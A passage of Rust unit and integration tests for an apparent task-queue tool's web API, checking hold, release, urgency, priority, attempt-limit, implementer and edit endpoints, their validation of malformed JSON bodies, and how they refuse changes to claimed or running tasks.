15905 task.start("a".into());
15906 task.start("b".into());
15907 task.start("a".into());
15908 assert_eq!(task.runs, ["b", "a"]);
15909 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
15910 let h = task_history(&task, |id| {
15911 Some(if id == "a" { a.clone() } else { b.clone() })
15912 });
15913 assert_eq!(
15914 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
15915 ["a", "b", "a"]
15916 );
15917 assert_eq!(h[0].attempt, AttemptCost::Refunded);
15918 assert!(h[0].outcome.contains("upgrade"));
15919 assert_eq!(h[2].kind, "resume");
15920 assert!(h[2].pass.is_some());
15921 task.runs = vec!["a".into(), "b".into(), "a".into()];
15923 let old = task_history(&task, |id| {
15924 Some(if id == "a" { a.clone() } else { b.clone() })
15925 });
15926 assert_eq!(
15927 old.iter()
15928 .map(|v| (&v.id, &v.kind, v.attempt))
15929 .collect::<Vec<_>>(),
15930 h.iter()
15931 .map(|v| (&v.id, &v.kind, v.attempt))
15932 .collect::<Vec<_>>()
15933 );
15934 }
15935
15936 #[test]
15937 fn an_upgrade_whose_target_was_not_known_says_so() {
15938 let run = flow_run(RunStatus::Implementing, |s| {
15939 s.passes = vec![
15940 recorded_pass(
15941 0,
15942 parked(crate::run::ParkCause::Upgrade {
15943 from: "0.121.0".to_owned(),
15944 to: None,
15945 }),
15946 ),
15947 recorded_pass(1, None),
15948 ];
15949 });
15950 let task = flow_task(&[RUN_X, RUN_X]);
15951 let h = task_history(&task, |_| Some(run.clone()));
15952 assert!(
15953 h[0].outcome.contains("upgrade from 0.121.0"),
15954 "{}",
15955 h[0].outcome
15956 );
15957 assert_eq!(h[0].attempt, AttemptCost::Unknown);
15959 }
15960
15961 #[test]
15962 fn each_pass_keeps_its_own_cause_across_several_resumes() {
15963 use crate::queue::PassCost;
15964 use crate::run::ParkCause;
15965 let run = flow_run(RunStatus::Implementing, |s| {
15966 s.passes = vec![
15967 recorded_pass(0, parked(upgrade_cause())),
15968 recorded_pass(
15969 1,
15970 parked(ParkCause::Interrupt {
15971 reason: "task a1b2 asked to run first".to_owned(),
15972 }),
15973 ),
15974 recorded_pass(2, parked(ParkCause::Operator)),
15975 recorded_pass(3, None),
15976 ];
15977 });
15978 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
15979 task.attempts = 1;
15980 task.passes = (0..3)
15981 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
15982 .collect();
15983 let h = task_history(&task, |_| Some(run.clone()));
15984 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
15985 assert!(
15986 h[1].outcome.contains("task a1b2 asked to run first"),
15987 "{}",
15988 h[1].outcome
15989 );
15990 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
15991 assert!(
15992 h[2].outcome.contains("operator asked the loop to park"),
15993 "{}",
15994 h[2].outcome
15995 );
15996 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
15997 let f = task_flow(&task, &h, 2, None);
15998 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
15999 }
16000
16001 #[test]
16002 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16003 let run = flow_run(RunStatus::Implementing, |s| {
16004 s.passes = vec![
16005 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16006 recorded_pass(1, None),
16007 ];
16008 });
16009 let task = flow_task(&[RUN_X, RUN_X]);
16010 let h = task_history(&task, |_| Some(run.clone()));
16011 assert_eq!(h[0].exit, RunExit::Interrupted);
16012 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16013 assert!(
16014 h[0].outcome.contains("without recording why"),
16015 "{}",
16016 h[0].outcome
16017 );
16018 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16019 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16020 }
16021
16022 #[test]
16023 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16024 use crate::queue::PassCost;
16025 let run = flow_run(RunStatus::Implementing, |s| {
16028 s.passes = vec![
16029 recorded_pass(0, parked(upgrade_cause())),
16030 recorded_pass(1, None),
16031 ];
16032 });
16033 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16034 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16035 let h = task_history(&task, |_| Some(run.clone()));
16036 assert!(h[0].pass.is_none());
16037 assert_eq!(h[0].exit, RunExit::Interrupted);
16038 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16039 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16040 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16041 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16042 let legacy = flow_run(RunStatus::Implementing, |_| {});
16044 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16045 assert!(h.iter().all(|v| v.pass.is_none()));
16046 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16047 }
16048
16049 #[test]
16050 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16051 use crate::queue::PassCost;
16052 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16055 web.task_entry = false;
16056 let run = flow_run(RunStatus::Implementing, |s| {
16057 s.passes = vec![
16058 recorded_pass(0, parked(upgrade_cause())),
16059 web.clone(),
16060 recorded_pass(2, None),
16061 ];
16062 });
16063 let mut task = flow_task(&[RUN_X, RUN_X]);
16064 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16065 let h = task_history(&task, |_| Some(run.clone()));
16066 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16067 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16068
16069 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16072 web0.task_entry = false;
16073 let run = flow_run(RunStatus::Implementing, |s| {
16074 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16075 });
16076 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16077 assert!(h[0].pass.is_none());
16078 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16079 assert!(h[1].pass.is_some());
16080 }
16081
16082 #[tokio::test]
16083 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16084 let dir = tempfile::tempdir().unwrap();
16085 let queue = Queue::at(dir.path().join("queue"));
16086 let ui = Arc::new(Ui::new(
16087 queue.clone(),
16088 Questions::at(dir.path().join("questions")),
16089 Talks::at(dir.path().join("talks")),
16090 dir.path().join("runs"),
16091 dir.path().to_path_buf(),
16092 dir.path().to_path_buf(),
16093 ));
16094 let mut t = Task::new(
16095 "recover".into(),
16096 "Inspect".into(),
16097 PathBuf::from("."),
16098 Source::Human,
16099 );
16100 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16101 t.start("run-A".into());
16102 t.release_operator("choice", Some("resume-question"));
16103 t.resume_override = Some(crate::queue::OperatorResume {
16104 question_id: "resume-question".into(),
16105 at: jiff::Timestamp::now(),
16106 conductor_rehold: None,
16107 forced: true,
16108 pinned_run: Some("run-A".into()),
16109 });
16110 t.hold_machine(Some("inspection pending".into()));
16111 t.edit("recover".into(), "Reuse approved PR head".into())
16112 .unwrap();
16113 queue.put(&mut t).unwrap();
16114 let mut cli = t.clone();
16115 cli.release_operator("cli", None);
16116 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16117 let reloaded = queue.get(&t.id).unwrap();
16118 assert_eq!(reply.task.status, TaskStatus::Queued);
16119 assert!(reloaded.resume_override.is_none());
16120 assert_eq!(reloaded.answers, t.answers);
16121 let mut web = reloaded.resumption.unwrap();
16122 let cli = cli.resumption.unwrap();
16123 assert_eq!(web.source, "web");
16124 web.source = cli.source.clone();
16125 web.at = cli.at;
16126 assert_eq!(web, cli);
16127 }
16128
16129 #[tokio::test]
16130 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16131 let f = Fixture::start().await;
16132 let queue = f.queue();
16133 let mut task = Task::new(
16134 "spent".to_owned(),
16135 "Try again".to_owned(),
16136 PathBuf::from("/repo/magi"),
16137 Source::Human,
16138 );
16139 task.start("20260902-140502-bbbb".to_owned());
16140 task.fail("agent gave up", 9);
16141 queue.put(&mut task).expect("file the task");
16142
16143 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16144 assert_eq!(held.status, 200);
16145 assert_eq!(held.json()["status_str"], "held");
16146
16147 let released = f
16148 .post(&format!("/api/queue/{}/release", task.id), None)
16149 .await;
16150 assert_eq!(released.status, 200);
16151 assert_eq!(released.json()["status_str"], "queued");
16152 assert_eq!(released.json()["resumption"]["source"], "web");
16153 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16154 let mut cli = task.clone();
16155 cli.release_operator("cli", None);
16156 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16157 let cli = cli.resumption.unwrap();
16158 assert_eq!(web.instruction, cli.instruction);
16159 assert_eq!(web.answers_through, cli.answers_through);
16160 assert_eq!(web.runs_through, cli.runs_through);
16161 assert_eq!(web.cleared_reason, cli.cleared_reason);
16162 assert_eq!(
16163 released.json()["attempts"],
16164 0,
16165 "release is a real second chance, not an instant re-hold"
16166 );
16167 assert_eq!(
16168 queue.get(&task.id).expect("reload").status,
16169 TaskStatus::Queued,
16170 "the change is on disk, not only in the reply"
16171 );
16172 assert!(
16173 !f.home
16174 .path()
16175 .join("queue")
16176 .join(format!("{}.lock", task.id))
16177 .exists(),
16178 "the claim the mutation took is released again"
16179 );
16180 }
16181
16182 #[tokio::test]
16183 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16184 let f = Fixture::start().await;
16185 let queue = f.queue();
16186 let mut task = Task::new(
16187 "busy".to_owned(),
16188 "Running right now".to_owned(),
16189 PathBuf::from("/repo/magi"),
16190 Source::Human,
16191 );
16192 queue.put(&mut task).expect("file the task");
16193 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16194
16195 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16196
16197 assert_eq!(res.status, 409);
16198 assert_eq!(
16199 queue.get(&task.id).expect("reload").status,
16200 TaskStatus::Queued,
16201 "the refused hold changed nothing"
16202 );
16203 }
16204
16205 #[tokio::test]
16206 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16207 let f = Fixture::start().await;
16208 let queue = f.queue();
16209 let mut task = Task::new(
16210 "waiting on the migration".to_owned(),
16211 "Do the thing".to_owned(),
16212 PathBuf::from("/repo/magi"),
16213 Source::Human,
16214 );
16215 queue.put(&mut task).expect("file the task");
16216
16217 let held = f
16218 .post(
16219 &format!("/api/queue/{}/hold", task.id),
16220 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16221 )
16222 .await;
16223 assert_eq!(held.status, 200, "{}", held.body);
16224 assert_eq!(held.json()["status_str"], "held");
16225 assert_eq!(
16226 held.json()["hold_reason"],
16227 "waiting for 20260101-000000-aaaa to land"
16228 );
16229
16230 let listed = f.get("/api/queue").await.json();
16231 assert_eq!(
16232 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16233 "the card reads the reason off the same list route"
16234 );
16235
16236 let mut plain = Task::new(
16239 "no reason given".to_owned(),
16240 "Do another thing".to_owned(),
16241 PathBuf::from("/repo/magi"),
16242 Source::Human,
16243 );
16244 queue.put(&mut plain).expect("file the task");
16245 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16246 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16247 assert!(held_plain.json()["hold_reason"].is_null());
16248
16249 let released = f
16250 .post(&format!("/api/queue/{}/release", task.id), None)
16251 .await;
16252 assert_eq!(released.status, 200);
16253 assert!(
16254 released.json()["hold_reason"].is_null(),
16255 "a release must clear the reason so the next hold does not inherit it"
16256 );
16257 }
16258
16259 #[test]
16260 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16261 for urgent in [true, false] {
16262 let body: UrgentBody =
16263 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16264 assert_eq!(body.urgent, urgent);
16265 }
16266 for input in [
16267 r#"{}"#,
16268 r#"{"urgent":null}"#,
16269 r#"{"urgent":"true"}"#,
16270 r#"{"urgent":1}"#,
16271 r#"{"urgent":true,"extra":false}"#,
16272 ] {
16273 assert!(
16274 serde_json::from_str::<UrgentBody>(input).is_err(),
16275 "{input}"
16276 );
16277 }
16278 }
16279
16280 #[tokio::test]
16281 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16282 let home = TempDir::new().unwrap();
16283 let q = Queue::at(home.path().join("queue"));
16284 let ui = Arc::new(Ui::new(
16285 q.clone(),
16286 Questions::at(home.path().join("questions")),
16287 Talks::at(home.path().join("talks")),
16288 home.path().join("runs"),
16289 home.path().into(),
16290 home.path().into(),
16291 ));
16292 let mut task = Task::new(
16293 "urgent handler".into(),
16294 "keep".into(),
16295 home.path().into(),
16296 Source::Human,
16297 );
16298 for status in [TaskStatus::Queued, TaskStatus::Held] {
16299 task.status = status;
16300 q.put(&mut task).unwrap();
16301 for urgent in [true, true, false, false] {
16302 let saved = queue_urgent(
16303 State(Arc::clone(&ui)),
16304 Path(task.short().into()),
16305 Ok(Json(UrgentBody { urgent })),
16306 )
16307 .await
16308 .unwrap();
16309 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16310 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16311 }
16312 }
16313 task.status = TaskStatus::Queued;
16314 q.put(&mut task).unwrap();
16315 let claim = q.claim(&task.id).unwrap();
16316 let error = queue_urgent(
16317 State(Arc::clone(&ui)),
16318 Path(task.id.clone()),
16319 Ok(Json(UrgentBody { urgent: true })),
16320 )
16321 .await
16322 .unwrap_err();
16323 assert_eq!(error.status, StatusCode::CONFLICT);
16324 assert!(error.message.contains("released"));
16325 drop(claim);
16326 for status in [
16327 TaskStatus::Running,
16328 TaskStatus::Done,
16329 TaskStatus::Failed,
16330 TaskStatus::Blocked,
16331 TaskStatus::Parked,
16332 ] {
16333 task.status = status;
16334 q.put(&mut task).unwrap();
16335 let error = queue_urgent(
16336 State(Arc::clone(&ui)),
16337 Path(task.id.clone()),
16338 Ok(Json(UrgentBody { urgent: false })),
16339 )
16340 .await
16341 .unwrap_err();
16342 assert_eq!(error.status, StatusCode::BAD_REQUEST);
16343 assert!(error.message.contains(status.as_str()));
16344 }
16345 }
16346
16347 #[tokio::test]
16348 async fn urgent_api_updates_preserves_and_validates_tasks() {
16349 let f = Fixture::start().await;
16350 let q = f.queue();
16351 let mut t = Task::new(
16352 "urgent API".into(),
16353 "unchanged".into(),
16354 PathBuf::from("/repo/magi"),
16355 Source::Human,
16356 );
16357 t.attempts = 2;
16358 t.priority = 9;
16359 t.interrupt = true;
16360 t.hold_reason = Some("waiting for approval".into());
16361 for status in [TaskStatus::Queued, TaskStatus::Held] {
16362 t.status = status;
16363 q.put(&mut t).unwrap();
16364 for urgent in [true, true, false, false] {
16365 let response = f
16366 .post(
16367 &format!("/api/queue/{}/urgent", t.short()),
16368 Some(&format!("{{\"urgent\":{urgent}}}")),
16369 )
16370 .await;
16371 assert_eq!(response.status, 200, "{}", response.body);
16372 assert_eq!(response.json()["urgent"], urgent);
16373 let saved = q.get(&t.id).unwrap();
16374 let mut before = serde_json::to_value(&t).unwrap();
16375 let mut after = serde_json::to_value(saved).unwrap();
16376 before["urgent"] = urgent.into();
16377 before.as_object_mut().unwrap().remove("updated_at");
16378 after.as_object_mut().unwrap().remove("updated_at");
16379 assert_eq!(after, before);
16380 }
16381 }
16382 let route = format!("/api/queue/{}/urgent", t.id);
16383 for body in [
16384 r#"{}"#,
16385 r#"{"urgent":null}"#,
16386 r#"{"urgent":"true"}"#,
16387 r#"{"urgent":1}"#,
16388 r#"{"urgent":true,"extra":false}"#,
16389 "{",
16390 ] {
16391 assert_eq!(f.post(&route, Some(body)).await.status, 400);
16392 }
16393 t.status = TaskStatus::Queued;
16394 q.put(&mut t).unwrap();
16395 let claim = q.claim(&t.id).unwrap();
16396 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16397 assert_eq!(response.status, 409, "{}", response.body);
16398 assert!(!q.get(&t.id).unwrap().urgent);
16399 drop(claim);
16400 for status in [
16401 TaskStatus::Running,
16402 TaskStatus::Done,
16403 TaskStatus::Failed,
16404 TaskStatus::Blocked,
16405 TaskStatus::Parked,
16406 ] {
16407 t.status = status;
16408 q.put(&mut t).unwrap();
16409 for urgent in [true, false] {
16410 let response = f
16411 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16412 .await;
16413 assert_eq!(response.status, 400, "{}", response.body);
16414 assert!(response.body.contains(status.as_str()));
16415 assert!(response.body.contains("queued or held"));
16416 assert!(!q.get(&t.id).unwrap().urgent);
16417 }
16418 }
16419 assert_eq!(
16420 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16421 .await
16422 .status,
16423 404
16424 );
16425 }
16426
16427 #[tokio::test]
16428 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16429 let f = Fixture::start().await;
16430 let queue = f.queue();
16431 let mut older = Task::new(
16432 "filed first".to_owned(),
16433 "x".to_owned(),
16434 PathBuf::from("/repo/magi"),
16435 Source::Human,
16436 );
16437 older.id = "20260101-000001-aaaa".to_owned();
16438 let mut newer = Task::new(
16439 "filed second".to_owned(),
16440 "x".to_owned(),
16441 PathBuf::from("/repo/magi"),
16442 Source::Human,
16443 );
16444 newer.id = "20260101-000002-bbbb".to_owned();
16445 queue.put(&mut older).expect("file older");
16446 queue.put(&mut newer).expect("file newer");
16447
16448 let before = f.get("/api/queue").await.json();
16451 assert_eq!(before[0]["id"], newer.id);
16452 assert_eq!(before[1]["id"], older.id);
16453
16454 let raised = f
16458 .post(
16459 &format!("/api/queue/{}/priority", older.id),
16460 Some(r#"{"priority":10}"#),
16461 )
16462 .await;
16463 assert_eq!(raised.status, 200, "{}", raised.body);
16464 assert_eq!(raised.json()["priority"], 10);
16465
16466 let after = f.get("/api/queue").await.json();
16467 let names: Vec<&str> = after
16468 .as_array()
16469 .unwrap()
16470 .iter()
16471 .map(|t| t["id"].as_str().unwrap())
16472 .collect();
16473 assert_eq!(names[0], older.id, "the raised task now sorts first");
16477 }
16478
16479 #[tokio::test]
16480 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16481 let dir = TempDir::new().unwrap();
16482 let q = Queue::at(dir.path().join("queue"));
16483 let ui = Arc::new(Ui::new(
16484 q.clone(),
16485 Questions::at(dir.path().join("questions")),
16486 Talks::at(dir.path().join("talks")),
16487 dir.path().join("runs"),
16488 dir.path().to_path_buf(),
16489 dir.path().to_path_buf(),
16490 ));
16491 let mut t = Task::new(
16492 "budget".into(),
16493 "keep".into(),
16494 dir.path().into(),
16495 Source::Human,
16496 );
16497 t.attempts = 2;
16498 t.runs.push("prior-run".into());
16499 t.hold_manual(Some("waiting".into()));
16500 q.put(&mut t).unwrap();
16501 let change = |value| {
16502 queue_attempt_limit(
16503 State(ui.clone()),
16504 Path(t.id.clone()),
16505 Ok(Json(AttemptLimitBody {
16506 attempt_limit: value,
16507 })),
16508 )
16509 };
16510 for value in [
16511 serde_json::json!(3),
16512 serde_json::Value::Null,
16513 serde_json::json!(1),
16514 ] {
16515 let response = change(value.clone()).await.unwrap();
16516 assert_eq!(
16517 serde_json::to_value(response.0).unwrap()["attempt_limit"],
16518 value
16519 );
16520 let saved = q.get(&t.id).unwrap();
16521 assert_eq!(
16522 serde_json::to_value(&saved).unwrap()["attempt_limit"],
16523 value
16524 );
16525 assert_eq!(saved.status, TaskStatus::Held);
16526 assert_eq!(saved.attempts, t.attempts);
16527 assert_eq!(saved.runs, t.runs);
16528 assert_eq!(saved.hold_reason, t.hold_reason);
16529 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16530 .await
16531 .unwrap()
16532 .0;
16533 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16534 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16535 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16536 assert_eq!(outcome.max_attempts, detail.max_attempts);
16537 }
16538 for value in [
16539 serde_json::json!(0),
16540 serde_json::json!(-1),
16541 serde_json::json!(1.5),
16542 serde_json::json!("3"),
16543 serde_json::json!(true),
16544 ] {
16545 assert_eq!(
16546 change(value).await.err().unwrap().status,
16547 StatusCode::BAD_REQUEST
16548 );
16549 }
16550 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
16551 let claim = q.claim(&t.id).unwrap();
16552 assert_eq!(
16553 change(serde_json::json!(4)).await.err().unwrap().status,
16554 StatusCode::CONFLICT
16555 );
16556 drop(claim);
16557 for status in [
16558 TaskStatus::Running,
16559 TaskStatus::Done,
16560 TaskStatus::Failed,
16561 TaskStatus::Blocked,
16562 TaskStatus::Parked,
16563 ] {
16564 let mut stored = q.get(&t.id).unwrap();
16565 stored.status = status;
16566 q.put(&mut stored).unwrap();
16567 assert_eq!(
16568 change(serde_json::json!(4)).await.err().unwrap().status,
16569 StatusCode::BAD_REQUEST
16570 );
16571 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
16572 }
16573 let mut stored = q.get(&t.id).unwrap();
16574 stored.status = TaskStatus::Queued;
16575 q.put(&mut stored).unwrap();
16576 let _ = change(serde_json::Value::Null).await.unwrap();
16577 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
16578 }
16579
16580 #[tokio::test]
16581 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
16582 let dir = TempDir::new().unwrap();
16583 let repo = dir.path().join("repo");
16584 std::fs::create_dir(&repo).unwrap();
16585 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
16586 let q = Queue::at(dir.path().join("queue"));
16587 let ui = Arc::new(Ui::new(
16588 q.clone(),
16589 Questions::at(dir.path().join("questions")),
16590 Talks::at(dir.path().join("talks")),
16591 dir.path().join("runs"),
16592 dir.path().to_path_buf(),
16593 repo.clone(),
16594 ));
16595 let mut t = Task::new(
16596 "seats".into(),
16597 "keep instruction".into(),
16598 repo,
16599 Source::Human,
16600 );
16601 t.runs.push("prior-run".into());
16602 t.hold_manual(Some("waiting".into()));
16603 q.put(&mut t).unwrap();
16604 let change = |count| {
16605 queue_implementers(
16606 State(ui.clone()),
16607 Path(t.id.clone()),
16608 Ok(Json(ImplementersBody {
16609 implementers: count,
16610 })),
16611 )
16612 };
16613 for count in [2, 1, 2] {
16614 let response = change(count).await.unwrap();
16615 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
16616 let saved = q.get(&t.id).unwrap();
16617 assert_eq!(saved.implementers(), Some(usize::from(count)));
16618 assert_eq!(saved.runs, t.runs);
16619 assert_eq!(saved.instruction, t.instruction);
16620 }
16621 for count in [0, 4] {
16622 assert_eq!(
16623 change(count).await.err().unwrap().status,
16624 StatusCode::BAD_REQUEST
16625 );
16626 }
16627 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
16628 let claim = q.claim(&t.id).unwrap();
16629 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
16630 drop(claim);
16631 for status in [
16632 TaskStatus::Running,
16633 TaskStatus::Done,
16634 TaskStatus::Failed,
16635 TaskStatus::Blocked,
16636 TaskStatus::Parked,
16637 ] {
16638 let mut stored = q.get(&t.id).unwrap();
16639 stored.status = status;
16640 q.put(&mut stored).unwrap();
16641 assert_eq!(
16642 change(1).await.err().unwrap().status,
16643 StatusCode::BAD_REQUEST
16644 );
16645 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
16646 }
16647 }
16648
16649 #[tokio::test]
16650 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
16651 let f = Fixture::start().await;
16652 let queue = f.queue();
16653 let mut task = Task::new(
16654 "in flight".to_owned(),
16655 "x".to_owned(),
16656 PathBuf::from("/repo/magi"),
16657 Source::Human,
16658 );
16659 task.start("20260902-140502-bbbb".to_owned());
16660 queue.put(&mut task).expect("file the task");
16661
16662 let res = f
16663 .post(
16664 &format!("/api/queue/{}/priority", task.id),
16665 Some(r#"{"priority":9}"#),
16666 )
16667 .await;
16668 assert_eq!(res.status, 400, "{}", res.body);
16669 assert!(
16670 res.json()["error"]
16671 .as_str()
16672 .is_some_and(|e| e.contains("running")),
16673 "{}",
16674 res.body
16675 );
16676 assert_eq!(
16677 queue.get(&task.id).expect("reload").priority,
16678 0,
16679 "the refused write must not partially apply"
16680 );
16681 }
16682
16683 #[tokio::test]
16684 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
16685 let f = Fixture::start().await;
16686 let queue = f.queue();
16687 let mut task = Task::new(
16688 "old title".to_owned(),
16689 "old instruction".to_owned(),
16690 PathBuf::from("/repo/magi"),
16691 Source::Agent {
16692 run: "20260101-000000-beef".to_owned(),
16693 node: "implement".to_owned(),
16694 },
16695 );
16696 task.runs.push("20260101-000000-beef".to_owned());
16697 queue.put(&mut task).expect("file the task");
16698 let created_at = task.created_at;
16699
16700 let edited = f
16701 .post(
16702 &format!("/api/queue/{}/edit", task.id),
16703 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
16704 )
16705 .await;
16706 assert_eq!(edited.status, 200, "{}", edited.body);
16707 let body = edited.json();
16708 assert_eq!(body["title"], "new title");
16709 assert_eq!(body["instruction"], "new instruction");
16710 assert_eq!(body["id"], task.id, "editing must not mint a new id");
16711 assert_eq!(body["created_at"], created_at.to_string());
16712 assert_eq!(
16713 body["source"]["kind"], "agent",
16714 "editing a task an agent filed must not turn it human: {body}"
16715 );
16716 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
16717
16718 let reloaded = queue.get(&task.id).expect("reload");
16719 assert_eq!(reloaded.title, "new title");
16720 assert_eq!(reloaded.instruction, "new instruction");
16721 }
16722
16723 #[tokio::test]
16724 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
16725 let tmp = TempDir::new().expect("tempdir");
16728 let repo = tmp.path().join("repo");
16729 std::fs::create_dir_all(&repo).expect("repo dir");
16730 let judge = MOCK_AGENT_TOML.replace(
16731 "printf ok",
16732 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
16733 );
16734 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
16735 let f = Fixture::with_repo(repo.clone()).await;
16736 let queue = f.queue();
16737 let mut owner = Task::new(
16738 "owner".to_owned(),
16739 "review it".to_owned(),
16740 repo.clone(),
16741 Source::Human,
16742 );
16743 owner.review_branch = Some("magi/ab12/A".to_owned());
16744 queue.put(&mut owner).expect("file the owner");
16745 let mut task = Task::new(
16746 "draft".to_owned(),
16747 "old".to_owned(),
16748 repo.clone(),
16749 Source::Human,
16750 );
16751 queue.put(&mut task).expect("file the draft");
16752 let url = format!("/api/queue/{}/edit", task.id);
16753
16754 let refused = f
16755 .post(
16756 &url,
16757 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
16758 )
16759 .await;
16760 assert_eq!(refused.status, 409, "{}", refused.body);
16761 let msg = refused.json()["error"]
16762 .as_str()
16763 .unwrap_or_default()
16764 .to_owned();
16765 assert!(
16766 msg.contains("magi/ab12/A") && msg.contains("force"),
16767 "{msg}"
16768 );
16769 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
16770
16771 let forced = f
16772 .post(
16773 &url,
16774 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
16775 )
16776 .await;
16777 assert_eq!(forced.status, 200, "{}", forced.body);
16778 }
16779
16780 #[tokio::test]
16781 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
16782 let f = Fixture::start().await;
16783 let queue = f.queue();
16784 let mut task = Task::new(
16785 "in flight".to_owned(),
16786 "do not touch".to_owned(),
16787 PathBuf::from("/repo/magi"),
16788 Source::Human,
16789 );
16790 task.start("20260902-140502-bbbb".to_owned());
16791 queue.put(&mut task).expect("file the task");
16792
16793 let res = f
16794 .post(
16795 &format!("/api/queue/{}/edit", task.id),
16796 Some(r#"{"title":"x","instruction":"y"}"#),
16797 )
16798 .await;
16799 assert_eq!(res.status, 400, "{}", res.body);
16800 assert!(
16801 res.json()["error"]
16802 .as_str()
16803 .is_some_and(|e| e.contains("running")),
16804 "{}",
16805 res.body
16806 );
16807 assert_eq!(
16808 queue.get(&task.id).expect("reload").instruction,
16809 "do not touch",
16810 "the refused edit must not change the file"
16811 );
16812 }
16813
16814 #[tokio::test]
16815 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
16816 let f = Fixture::start().await;
16817 let queue = f.queue();
16818 let mut task = Task::new(
16819 "busy".to_owned(),
16820 "Running right now".to_owned(),
16821 PathBuf::from("/repo/magi"),
16822 Source::Human,
16823 );
16824 queue.put(&mut task).expect("file the task");
16825 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16826
16827 let priority = f
16828 .post(
16829 &format!("/api/queue/{}/priority", task.id),
16830 Some(r#"{"priority":9}"#),
16831 )
16832 .await;
16833 assert_eq!(priority.status, 409, "{}", priority.body);
16834
16835 let edit = f
16836 .post(
16837 &format!("/api/queue/{}/edit", task.id),
16838 Some(r#"{"title":"x","instruction":"y"}"#),
16839 )
16840 .await;
16841 assert_eq!(edit.status, 409, "{}", edit.body);
16842 }
16843
16844 #[tokio::test]
16845 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
16846 let f = Fixture::start().await;
